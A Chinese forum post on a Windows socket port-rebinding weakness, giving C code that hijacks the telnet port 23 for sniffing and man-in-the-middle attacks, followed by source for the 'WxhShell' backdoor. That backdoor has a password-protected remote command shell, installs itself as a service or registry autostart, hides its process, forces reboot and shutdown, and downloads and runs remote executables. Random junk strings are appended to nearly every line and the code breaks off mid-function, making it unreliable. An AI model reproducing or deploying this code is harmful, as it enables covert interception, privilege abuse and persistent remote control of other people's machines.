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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r"]'`qP,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >"d?(@PJ  
=m tY  
  saddr.sin_family = AF_INET; 4gZ &^y'  
f j<H6|3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v1+U;Th>g  
/q1s;I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4Z5#F]OA7  
Ix8$njp[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;y1Q6eN  
.<&s%{EW  
  这意味着什么?意味着可以进行如下的攻击: ai-n z-;  
pn%#w*'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u, kU$  
f )NHM'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2QUx&u:  
l]!B#{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }iww:H-1  
:tj-gDa\Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WUoOGbA `  
,YLF+^w-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <bUe/m  
:T@r*7hNT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (03pJV&K  
Mr3-q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2F+gF~znQ  
:td ~g;w  
  #include b{cU<;G)y.  
  #include h*l&RR:i  
  #include -Zc![cAlO  
  #include    {aOkV::  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0D~ Tga)  
  int main() )&W**!(C  
  { "@ E3MTW  
  WORD wVersionRequested; +c$I&JO  
  DWORD ret; R: Z_g !h  
  WSADATA wsaData; R[Fn0fnLx  
  BOOL val; SoQR#(73HK  
  SOCKADDR_IN saddr; "v]%3i.* -  
  SOCKADDR_IN scaddr; cy3Td28,  
  int err; B!S167Op  
  SOCKET s; VLvS$0(}Z  
  SOCKET sc; `!4,jd  
  int caddsize; EU+cca|qS9  
  HANDLE mt; \;9W.d1iU  
  DWORD tid;   "lVqU  
  wVersionRequested = MAKEWORD( 2, 2 ); K`6z&*  
  err = WSAStartup( wVersionRequested, &wsaData ); `=)2<Ca;~@  
  if ( err != 0 ) { %,V YiW0  
  printf("error!WSAStartup failed!\n"); Jfhk@27T  
  return -1; F jrINxL7^  
  } v}(6 <wnnS  
  saddr.sin_family = AF_INET; 5W? PCOh\  
   4 J^Q]-Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pV\YG B+  
\=e8%.#@J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5>_5]t {  
  saddr.sin_port = htons(23); ^ 4>k%d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K 1#ji*Tp  
  { <PD?f/4 /  
  printf("error!socket failed!\n"); 3=.Y,ENM;  
  return -1; <z)m%*lvU  
  } 5f7zk  
  val = TRUE; 6^F '|Wh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4ne5=YY *  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Im72Vt:p-  
  { X` r* ob  
  printf("error!setsockopt failed!\n"); eEw.'B  
  return -1; msx-O=4g  
  } '-PC7"o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LF<wt2?*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [3>GGX[Ic  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IQ!Fv/I<  
y-aRXF=W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LDj<?'  
  { d5m`Bm-{  
  ret=GetLastError(); DC4C$AyW r  
  printf("error!bind failed!\n"); x_w~G]! /  
  return -1; i775:j~zx0  
  } 4vZ4/#(x  
  listen(s,2); mLbN/M  
  while(1) 3z =^(Y  
  { vDj;>VE2b  
  caddsize = sizeof(scaddr); Sb&lhgW]c  
  //接受连接请求 n{5NNV6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]/2T\w.<  
  if(sc!=INVALID_SOCKET) v syWm.E  
  { $K}DB N; 4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m\u26`M  
  if(mt==NULL) 47By`Jh71  
  { ~qVz)<  
  printf("Thread Creat Failed!\n"); E9fxjI%1  
  break; Zk-~a r  
  } X"asfA[6K  
  } N;sm*+r  
  CloseHandle(mt); LO%!Z,}   
  } XFwLz  
  closesocket(s); )q~DTR^z-  
  WSACleanup(); j f~wBm d7  
  return 0; Bik*b)9y2  
  }   X$?3U!  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6cS>bl  
  { +=$  
  SOCKET ss = (SOCKET)lpParam; 0S/' 94%w  
  SOCKET sc; P 1>AOH2yG  
  unsigned char buf[4096]; =Ufr^naA  
  SOCKADDR_IN saddr; n`7f"'/:  
  long num; 5r,r%{@K  
  DWORD val; "h"NW[R  
  DWORD ret; -1|iz2^N  
  //如果是隐藏端口应用的话,可以在此处加一些判断  \[:/CxP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?knYY>Kzh1  
  saddr.sin_family = AF_INET; G%l u28}D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); = duks\)O  
  saddr.sin_port = htons(23); =<z.mzqu5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "hz\Z0zg2  
  { {MdLX.ycc)  
  printf("error!socket failed!\n"); ? zDa=7 J  
  return -1; qPGuo5^  
  } A=5epsB  
  val = 100; J%C#V}z7E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?`_jFj+<\S  
  { (7FW9X;  
  ret = GetLastError(); /'.=sH  
  return -1; `YBkF  
  } # uCB)n&.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e$)300 o  
  { F/c$v  
  ret = GetLastError(); Mj=$y?d ]  
  return -1; ` Nh"  
  } vxQ8t!-u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E.bi05l  
  { sM[I4 .A3  
  printf("error!socket connect failed!\n"); {svn=H /  
  closesocket(sc); revF;l6->C  
  closesocket(ss); w~R`D  
  return -1; _,74)l1  
  } 'J)2g"T@  
  while(1) qml2XJ>  
  { T'-FV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +k<w!B*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [%A4]QzWh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t`'iU$:1f  
  num = recv(ss,buf,4096,0); <bck~E  
  if(num>0) tMx}*l|]  
  send(sc,buf,num,0); Z(>'0]G  
  else if(num==0) RkeltE~u  
  break; |C%Pjl^YkV  
  num = recv(sc,buf,4096,0); qo6y %[  
  if(num>0) P>Euq'ajX  
  send(ss,buf,num,0); <+#o BN  
  else if(num==0) )3<:tV8   
  break; 4M&`$Wim  
  } V! |qYM.  
  closesocket(ss); p{)5k  
  closesocket(sc); $*a'84-5G-  
  return 0 ; -~" :f8  
  } \<0B1m  
DciwQcG  
=VLS/\A  
========================================================== x3ERCqTR  
cV{%^0? D  
下边附上一个代码,,WXhSHELL }V;+l8  
]'~vI/p  
========================================================== `~UZU@/x  
spofLu.  
#include "stdafx.h" 8x{B~_~  
6pOx'u>h+  
#include <stdio.h> DD9?V}Yx  
#include <string.h> # {fTgq  
#include <windows.h> 3=Ec "  
#include <winsock2.h> tGdf/aTjy  
#include <winsvc.h> F 09DV<j  
#include <urlmon.h> *Oc.9 F88"  
|]Z:&[D]i  
#pragma comment (lib, "Ws2_32.lib") IPSF]"}~  
#pragma comment (lib, "urlmon.lib") \AUI|M;'  
Ioy  
#define MAX_USER   100 // 最大客户端连接数 3cS2gxF  
#define BUF_SOCK   200 // sock buffer Cd79 tu|  
#define KEY_BUFF   255 // 输入 buffer K ]OK:hY4  
t%zpNd2lk  
#define REBOOT     0   // 重启 F;lI+^}}  
#define SHUTDOWN   1   // 关机 . #Z+Z  
BG^C9*ZuP  
#define DEF_PORT   5000 // 监听端口 f=!PllxL:  
UX<Qcjm$e  
#define REG_LEN     16   // 注册表键长度 pu!dqF<  
#define SVC_LEN     80   // NT服务名长度 1pv}]&X  
]{ BE r*  
// 从dll定义API }u+a<:pkK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #eU.p&Zc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U`Jy!x2m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X1[CX&Am  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I]Tsz'T!9  
N!Qg;(  
// wxhshell配置信息 &AuF]VT  
struct WSCFG { xCzebG["  
  int ws_port;         // 监听端口 be5,U\&z  
  char ws_passstr[REG_LEN]; // 口令 Nfe>3uQK  
  int ws_autoins;       // 安装标记, 1=yes 0=no r!P}u  
  char ws_regname[REG_LEN]; // 注册表键名 FG3UZVUg9  
  char ws_svcname[REG_LEN]; // 服务名 #zrTY9m7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w#JJXXQI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wi8Yl1p]!z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]%uZ\Q;9p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Zj]~|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! / y!QXj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t:JI!DR  
{:c]|^w6  
}; gef6pfV  
'6$*YN&5  
// default Wxhshell configuration ~.PO[hC  
struct WSCFG wscfg={DEF_PORT,  $rXh0g  
    "xuhuanlingzhe", #U=X NU}k  
    1, qj0 1]  
    "Wxhshell", Z3 ;!l  
    "Wxhshell", bW#@OrsS  
            "WxhShell Service", 4> ^K:/y  
    "Wrsky Windows CmdShell Service", EA.D}XC  
    "Please Input Your Password: ",  I~,G  
  1, 1tCQpf  
  "http://www.wrsky.com/wxhshell.exe", sfr(/mp(  
  "Wxhshell.exe" w(L>#?  
    }; &X9Z W$C  
%or,{mmiM:  
// 消息定义模块 !KKT[28v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A392=:N+Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hA 3HVP_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c4e_6=Iv  
char *msg_ws_ext="\n\rExit."; oHM ]  
char *msg_ws_end="\n\rQuit."; syx\gz  
char *msg_ws_boot="\n\rReboot..."; M:Er_,E  
char *msg_ws_poff="\n\rShutdown..."; K.C> a:J  
char *msg_ws_down="\n\rSave to "; oRN-xng  
9[v1h,L  
char *msg_ws_err="\n\rErr!"; [w -{r+[  
char *msg_ws_ok="\n\rOK!"; |CgnCUv+  
rI5F oh6  
char ExeFile[MAX_PATH]; :J}t&t  
int nUser = 0; ggt DN{t  
HANDLE handles[MAX_USER]; -]C c  
int OsIsNt; -3Avs9`5  
_FbC{yI8;  
SERVICE_STATUS       serviceStatus; q,<[hBri-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GwsY-jf  
E< 4l#Z<  
// 函数声明 3`hUo5K  
int Install(void); })vOaYT|-  
int Uninstall(void); 6Dws,_UAZ4  
int DownloadFile(char *sURL, SOCKET wsh); 6nDV1O5  
int Boot(int flag); ,O1O8TwUB0  
void HideProc(void); v,NHQyk  
int GetOsVer(void); `\=Gp'&Q+  
int Wxhshell(SOCKET wsl); g}&hl"j  
void TalkWithClient(void *cs); U]qav,^[  
int CmdShell(SOCKET sock); ?&WYjTU]H  
int StartFromService(void); Ot&:mT!2  
int StartWxhshell(LPSTR lpCmdLine); :&}odx!-!C  
dGZntT 2D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y<W8Q<9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mr+@c)  
)g| BMmB  
// 数据结构和表定义 g*\/N,"z  
SERVICE_TABLE_ENTRY DispatchTable[] = iMF<5fLH&  
{ <j}lp-  
{wscfg.ws_svcname, NTServiceMain}, !=Y;h[J.p  
{NULL, NULL} 7>o .0  
}; "re-@Baw  
;N+$2w  
// 自我安装 ,Y_{L|:w  
int Install(void) ydl jw  
{ O@8pC+#`Z  
  char svExeFile[MAX_PATH]; Ue5O9;y]u  
  HKEY key;  hRaf#  
  strcpy(svExeFile,ExeFile); kg5ev8  
NCeaL-y7  
// 如果是win9x系统,修改注册表设为自启动 NQTnhiM7$  
if(!OsIsNt) { h>S[^ -,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oqkVYlE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;'T{li2  
  RegCloseKey(key); -ML6d&cm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1.@vS&Y7OE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R U"/2i  
  RegCloseKey(key); Df07y<>7Q  
  return 0; W@L3+4  
    } 3{raKM6F  
  } ~yJ4qp-  
} H(+<)qH  
else { qcB){p+UQ  
L6:h.1 U$  
// 如果是NT以上系统,安装为系统服务 noVa=aU^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )yee2(S  
if (schSCManager!=0) A(6xg)_XQ  
{ UP1?5Q=H]Q  
  SC_HANDLE schService = CreateService ;uI~BV*3  
  ( 7l8[xV  
  schSCManager, j28_Hh T  
  wscfg.ws_svcname, i`U: gw  
  wscfg.ws_svcdisp, ( `' 8Ww  
  SERVICE_ALL_ACCESS, 8 ,}ikOZ?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @_'OyRd8  
  SERVICE_AUTO_START, U)jUq_LX  
  SERVICE_ERROR_NORMAL, oT+(W,G  
  svExeFile, #mc!Wt 10  
  NULL, *DeTqO65  
  NULL, 1IH[g*f  
  NULL, "Tbnxx]J  
  NULL, uZjI?Z.A  
  NULL HQVh+(  
  ); GKtS6$1d#  
  if (schService!=0)   -/{af  
  { SBKeb|H8  
  CloseServiceHandle(schService); _+QwREP  
  CloseServiceHandle(schSCManager); LVtu*k   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IhonnLLW  
  strcat(svExeFile,wscfg.ws_svcname); s3t!<9[m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O&?.&h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : iCM=k  
  RegCloseKey(key); -e`;bX_N)  
  return 0; ~uaP$*B[  
    } <! x+e E`  
  } b](o]O{v  
  CloseServiceHandle(schSCManager); U{1z;lJ  
} NrJzVGeS  
} 3;/?q  
7[o {9Yp&  
return 1; ijZ>:B2:  
} E&2tBrAq  
Z!\@%`0$  
// 自我卸载 xfHyC'?  
int Uninstall(void) ! Tfij(91  
{ F>Jg~ FD*  
  HKEY key; iB bbr,  
i^|@"+  
if(!OsIsNt) { 4,}GyVJFb`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jMU9{Si  
  RegDeleteValue(key,wscfg.ws_regname); }B)jq`a?|\  
  RegCloseKey(key); it}-^3A M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LpWI>sNv  
  RegDeleteValue(key,wscfg.ws_regname); H?:Jq\Ba0  
  RegCloseKey(key);  4#rAm"H  
  return 0; F$Pp]"82'm  
  } K3ukYR  
} HHS45kg[c  
} 1j3=o }m  
else { h5onRa *7  
pMN<p[MB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UC!5 wVY  
if (schSCManager!=0) |~$7X  
{ z+"0>ZN&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b=LF%P  
  if (schService!=0) < 5ZJ]W  
  { c4|so=  
  if(DeleteService(schService)!=0) { :XS"# ^aJ  
  CloseServiceHandle(schService); Dd/}Ya(Gi  
  CloseServiceHandle(schSCManager); \Hum}0[  
  return 0; lO 2k<  
  } zqGYOm$r  
  CloseServiceHandle(schService); |=3 *;}  
  } ;nk@XFJ  
  CloseServiceHandle(schSCManager); |~NeB"l{  
} 2LhE]O(_"  
} QkX@QQ T?  
Kym:J \}9B  
return 1; [X|OrRA  
} FmA-OqEpA  
 c!D> {N  
// 从指定url下载文件 Zr"dOj$Jf  
int DownloadFile(char *sURL, SOCKET wsh) (3fPt;U  
{ v*D FiCQD  
  HRESULT hr; T Nci.']  
char seps[]= "/"; */U$sZQ)  
char *token; 6y@<?08Q  
char *file; iEhDaC[e(b  
char myURL[MAX_PATH]; Yq;&F0paK  
char myFILE[MAX_PATH]; MVAc8dS  
,k%8yK  
strcpy(myURL,sURL); nHU3%%%cU  
  token=strtok(myURL,seps); Y n>{4BZ>#  
  while(token!=NULL) 6D^%'[4t  
  { r}@< K  
    file=token; ,4Y sZ  
  token=strtok(NULL,seps); 1UyH0`&  
  } Fe4esg-B<  
w4}(Ab<Y  
GetCurrentDirectory(MAX_PATH,myFILE); >@Khm"/T  
strcat(myFILE, "\\"); JS2!)aqc  
strcat(myFILE, file); {G.{a d  
  send(wsh,myFILE,strlen(myFILE),0); 6QptKXu7  
send(wsh,"...",3,0); EG1x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s}!"a8hU`  
  if(hr==S_OK) *2:Yf7rvI+  
return 0;  * D3  
else w{ m#Yt  
return 1; P rt#L8  
JWSq"N  
} :wCC^Y]  
_6I>+9#C  
// 系统电源模块 UJs?9]x>  
int Boot(int flag) j)@oRWL<  
{ 0C7"3l  
  HANDLE hToken; +}]wLM}\UF  
  TOKEN_PRIVILEGES tkp; @}{VM)Fc+  
I)uASfT$  
  if(OsIsNt) { Y;PDZb K3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5oa]dco  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sl~C0eO  
    tkp.PrivilegeCount = 1; k`Y,KuBpM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k7[)g]u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); / GZV_H%v  
if(flag==REBOOT) { :O#gJob-%s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q,TaJ]  
  return 0; {r X5  
} lMPbLF%_  
else { w`38DF@K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .=aMjrME  
  return 0; y7 <(,uT  
} !j'guT&9]  
  } 7dx4~dF  
  else { rr6"Y&v  
if(flag==REBOOT) { Z~B+*HF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1r&AB!Z #  
  return 0; s-o~@(r6  
} {.%0@{Y  
else { "URVX1#(r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {)GQV`y  
  return 0; t"FRLC  
} ]n/jJ_[  
} ?##y`.+O  
Kjvs@~6t  
return 1; 9Z}S]-u/  
} <C2c" =b  
Xek E#?.  
// win9x进程隐藏模块 34^Q5B~^J  
void HideProc(void) %k~C-+  
{ @V*au:  
U@MOvW)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $Jt8d|UP  
  if ( hKernel != NULL ) cbY3mSfn*  
  {  &s_}u%iC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 72% {Wh/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~9]Vy (L  
    FreeLibrary(hKernel); 1gO//fdI  
  } IrUpExJ  
9 ?[4i'  
return; rUhWZta  
} )Ep@$Gv|S  
-1dIZy  
// 获取操作系统版本 yzODF>KJ  
int GetOsVer(void) :  ,|=Q}  
{ (u$!\fE-et  
  OSVERSIONINFO winfo; c lq <$-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C5d/)aC  
  GetVersionEx(&winfo); 4t"*)xy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !$4Q]@ }  
  return 1; 9,}fx+^  
  else G;Pt|F?c  
  return 0; PP~CZ2Fze  
} yRSy(/L^+  
oKZ[0(4<  
// 客户端句柄模块 WIhIEU7/  
int Wxhshell(SOCKET wsl) _q2`m  
{ 3BuD/bs  
  SOCKET wsh; =2Pz$q*ub  
  struct sockaddr_in client; MX%|hIOpr  
  DWORD myID; *(>F'>F1"  
8yNRx iW:  
  while(nUser<MAX_USER) B>c[Zg1  
{ ](idf(j  
  int nSize=sizeof(client); 99=[>Ck)G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Or]5ogT'  
  if(wsh==INVALID_SOCKET) return 1; 6uv'r;U]  
X:iG[iU*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %l0_PhAB  
if(handles[nUser]==0) mJU>f-l  
  closesocket(wsh); k|)^!BdO  
else [j]}$f Fe  
  nUser++; ZC>`ca  
  } + ;{rU&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,=x.aX Spz  
ixoMccU0  
  return 0; zSX'  
} <[*h_gE5  
;5zjd,  
// 关闭 socket pO@k@JZ  
void CloseIt(SOCKET wsh) +^o3}`  
{ ]a &x'  
closesocket(wsh); @8T Vr2uy  
nUser--; qhv4R|)  
ExitThread(0); il 8A&`%  
} vUA)#z<  
d7n4zx1Hh  
// 客户端请求句柄 m7bn%j-{$f  
void TalkWithClient(void *cs) |^>L`6uo  
{ ^$ g],PAY  
A@fshWrl%  
  SOCKET wsh=(SOCKET)cs; J?UZN^  
  char pwd[SVC_LEN]; "1=.5:yG  
  char cmd[KEY_BUFF]; D~t"9Z\  
char chr[1]; E#WjoIk  
int i,j; }-k_?2"A  
^H y)<P  
  while (nUser < MAX_USER) { QqT6P`0u  
o%9Ua9|RR  
if(wscfg.ws_passstr) { >*ha#PE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xP|%rl4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c+YYM :S  
  //ZeroMemory(pwd,KEY_BUFF); Xv<;[vq}F  
      i=0; w7.?zb!N  
  while(i<SVC_LEN) { gXJ19zB+  
X8NO;w@z#  
  // 设置超时 .T N`p*  
  fd_set FdRead; bHlDm~5  
  struct timeval TimeOut; -O5(%  
  FD_ZERO(&FdRead); A$$R_3ne  
  FD_SET(wsh,&FdRead); RLeSA\di  
  TimeOut.tv_sec=8; 8/kx3  
  TimeOut.tv_usec=0; 519:yt   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l%Fse&4\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D+@/x{wX2  
7o 83|s.Bm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W6!4Qyn  
  pwd=chr[0]; U- UV<}  
  if(chr[0]==0xd || chr[0]==0xa) { 2rE~V.)%  
  pwd=0; &d &oP  
  break; {O3oUE+  
  } yScov)dp(  
  i++; .,BD DPFB  
    } 0'`8HP  
iM Y0xf8l  
  // 如果是非法用户,关闭 socket u" NIG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )b:~kuHi  
} bl!f5ROS(  
Wvzzjcr(j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N4JqW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q,`2DHhK  
3R$CxRc:  
while(1) { 6{,K7FL  
}G:uzud10  
  ZeroMemory(cmd,KEY_BUFF); S<bz7 k9  
1Ag;s  
      // 自动支持客户端 telnet标准   ofJ]`]~VG  
  j=0; JQVw6*u{  
  while(j<KEY_BUFF) { zi DlJ3]^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { "@b`  
  cmd[j]=chr[0]; r &l*.C*  
  if(chr[0]==0xa || chr[0]==0xd) { `__?7"p )\  
  cmd[j]=0; E?c{02fu  
  break; ^: rNoo  
  } GJl@ag5h]!  
  j++; +8@`lDnr  
    } &l!{!f4  
lXL7q?,9  
  // 下载文件 "8iyMP%8  
  if(strstr(cmd,"http://")) { |?t8M9[Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {dr&46$p  
  if(DownloadFile(cmd,wsh)) (8eNZ*+mO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =='{[[J  
  else  lN`_0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dy!bj  
  } 5}l#zj  
  else { 4>wIF}\  
E+m"yQp{  
    switch(cmd[0]) { =QKgsgLh  
  ; K 6Fe)  
  // 帮助 {ALBmSapK"  
  case '?': { A%czhF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yU8Y{o;:  
    break; +]~w ?^h  
  } UC LjR<}  
  // 安装 H* L2gw  
  case 'i': { LK-6z w5=(  
    if(Install()) kI[O{<kQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &#my #u^O;  
    else "6o}qeB l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U"Ob@$ROFy  
    break; R_*D7|v  
    } j?KB8oY`TP  
  // 卸载 $?JLCa  
  case 'r': { 'V9aB5O&  
    if(Uninstall()) f/WM}Hpj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i7!mMO8]  
    else ZT6X4 Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :iOHc-x  
    break; gW pT:tX-  
    } qLi1yH  
  // 显示 wxhshell 所在路径 IWRq:Gw  
  case 'p': { {s^ryv_}  
    char svExeFile[MAX_PATH]; +(P 43XO08  
    strcpy(svExeFile,"\n\r"); !DUg"o3G>  
      strcat(svExeFile,ExeFile); <{xAvN( :  
        send(wsh,svExeFile,strlen(svExeFile),0); 5Z1Do^  
    break; V-U  ^O45  
    } lXk-86[M  
  // 重启 2WECQl=r  
  case 'b': { a:%5.!Vd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hv8[_p`>  
    if(Boot(REBOOT)) WQmiG=Dw^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <GmrKdM  
    else { hz|z&vyP  
    closesocket(wsh); {Ljl4Sp&  
    ExitThread(0); ^?.:}  
    } C05{,w?  
    break; 2?7hUaHX  
    } Ac(irPrD  
  // 关机 f<U m2YGW  
